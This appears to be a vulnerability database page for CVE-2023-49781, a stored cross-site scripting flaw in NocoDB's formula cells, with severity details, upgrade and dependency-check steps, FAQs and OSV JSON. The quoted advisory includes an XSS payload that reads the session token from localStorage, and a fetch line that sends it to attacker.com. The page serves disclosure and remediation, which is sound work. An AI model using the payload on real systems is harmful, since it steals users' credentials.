CVE-2023-49781: Nocodb Cross-Site Scripting Vulnerability

HIGH
Advisory Identifier: GHSA-h6r4-xvw6-jc5h
CVSS 7.3
CWE-79
Published
Advisory Summary

CVE-2023-49781 is a HIGH (CVSS 7.3) cross-site scripting vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting Nocodb libraries in the npm ecosystem. The issue involves nocodb vulnerable to stored cross-site scripting in formula.vue. Remediation is available by upgrading affected packages to version 0.202.9.

CVE-2023-49781 at a Glance

CVE Identifier CVE-2023-49781
GHSA Identifier GHSA-h6r4-xvw6-jc5h
Severity HIGH
CVSS v3.1 Base Score 7.3
CWE Classification CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Affected Product Nocodb
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 7.3

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2023-49781

To remediate this vulnerability, upgrade all affected Nocodb dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

nocodb fixed: 0.202.9
npm install nocodb@0.202.9
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls nocodb

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2023-49781, inspect your project dependencies using npm:

npm ls nocodb

Analyze the terminal output to locate any version of Nocodb in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.202.9), your application is affected.

Note: The npm ls nocodb command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In Nocodb, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary A stored cross-site scripting vulnerability exists within the Formula virtual cell comments functionality. ### Details The nc-gui/components/virtual-cell/Formula.vue displays a v-html tag with the value of "urls" whose contents are processed by the function replaceUrlsWithLink(). This function recognizes the pattern URI::(XXX) and creates a hyperlink tag <a> with href=XXX. However, it leaves all the other contents outside of the pattern URI::(XXX) unchanged, which makes the evil users can create a malicious table with a formula field whose payload is <img src=1 onerror="malicious javascripts"URI::(XXX). The evil users then can share this table with others by enabling public viewing and the victims who open the shared link can be attacked. ### PoC Step 1: Attacker login the nocodb and creates a table with two fields, "T" and "F". The type of field "T" is "SingleLineText", and the type of the "F" is "Fomula" with the formula content {T} Step 2: The attacker sets the contents of T using <img src=1 onerror=alert(localStorage.getItem('nocodb-gui-v2'))URI::(XXX) Step 3: The attacker clicks the "Share" button and enables public viewing, then copies the shared link and sends it to the victims Step 4: Any victims who open the shared link in their browsers will see the alert with their confidential tokens stored in localStorage The attackers can use the fetch([http://attacker.com/?localStorage.getItem('nocodb-gui-v2')](http://attacker.com/?localStorage.getItem(%27nocodb-gui-v2%27))) to replace the alert and then steal the victims' credentials in their attacker.com website. ### Impact Stealing the credentials of NocoDB user that clicks the malicious link.

CVE-2023-49781 Affected Nocodb Versions

1 component(s)
Fixed Versions:
0.202.9
Product / Package Ecosystem Affected Versions Fixed Version
nocodb
npm
< 0.202.9
0.202.9

References

Frequently Asked Questions

What is CVE-2023-49781?
CVE-2023-49781 is a security vulnerability in Nocodb involving NocoDB Vulnerable to Stored Cross-Site Scripting in Formula.vue under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').
Which Nocodb versions are affected?
Affected versions include releases prior to 0.202.9 across affected packages: nocodb.
What version fixes CVE-2023-49781?
Upgrading to 0.202.9 (or the latest patched release for your respective branch) resolves the vulnerability.
Is nocodb affected?
Yes, nocodb is affected in releases prior to 0.202.9. Upgrade your dependency to 0.202.9 or later.
What is the CVSS score of CVE-2023-49781?
CVE-2023-49781 has a CVSS v3.1 base score of 7.3 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N.
What CWE is associated with CVE-2023-49781?
CVE-2023-49781 is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.).
How can I check npm dependencies for CVE-2023-49781?
Run the dependency tree command: 'npm ls nocodb'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-h6r4-xvw6-jc5h",
  "modified" : "2025-08-21T19:15:36Z",
  "published" : "2024-05-13T19:59:07Z",
  "aliases" : [ "CVE-2023-49781" ],
  "summary" : "NocoDB Vulnerable to Stored Cross-Site Scripting in Formula.vue",
  "details" : "### Summary\nA stored cross-site scripting vulnerability exists within the Formula virtual cell comments functionality.\n\n### Details\nThe nc-gui/components/virtual-cell/Formula.vue displays a v-html tag with the value of \"urls\" whose contents are processed by the function replaceUrlsWithLink(). This function recognizes the pattern URI::(XXX) and creates a hyperlink tag <a> with href=XXX. However, it leaves all the other contents outside of the pattern URI::(XXX) unchanged, which makes the evil users can create a malicious table with a formula field whose payload is <img src=1 onerror=\"malicious javascripts\"URI::(XXX). The evil users then can share this table with others by enabling public viewing and the victims who open the shared link can be attacked.\n\n### PoC\nStep 1: Attacker login the nocodb and creates a table with two fields, \"T\" and \"F\". The type of field \"T\" is \"SingleLineText\", and the type of the \"F\" is \"Fomula\" with the formula content {T}\nStep 2: The attacker sets the contents of T using <img src=1 onerror=alert(localStorage.getItem('nocodb-gui-v2'))URI::(XXX)\nStep 3: The attacker clicks the \"Share\" button and enables public viewing, then copies the shared link and sends it to the victims\nStep 4: Any victims who open the shared link in their browsers will see the alert with their confidential tokens stored in localStorage\n\nThe attackers can use the fetch([http://attacker.com/?localStorage.getItem('nocodb-gui-v2')](http://attacker.com/?localStorage.getItem(%27nocodb-gui-v2%27))) to replace the alert and then steal the victims' credentials in their attacker.com website.\n\n### Impact\nStealing the credentials of NocoDB user that clicks the malicious link.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "nocodb"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.202.9"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.202.8"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/nocodb/nocodb/security/advisories/GHSA-h6r4-xvw6-jc5h"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2023-49781"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nocodb/nocodb/commit/7f58ce3726dfec71537d8b80474a0f95a48a1574"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/nocodb/nocodb"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-79" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2024-05-13T19:59:07Z",
    "nvd_published_at" : "2024-05-14T14:06:05Z"
  }
}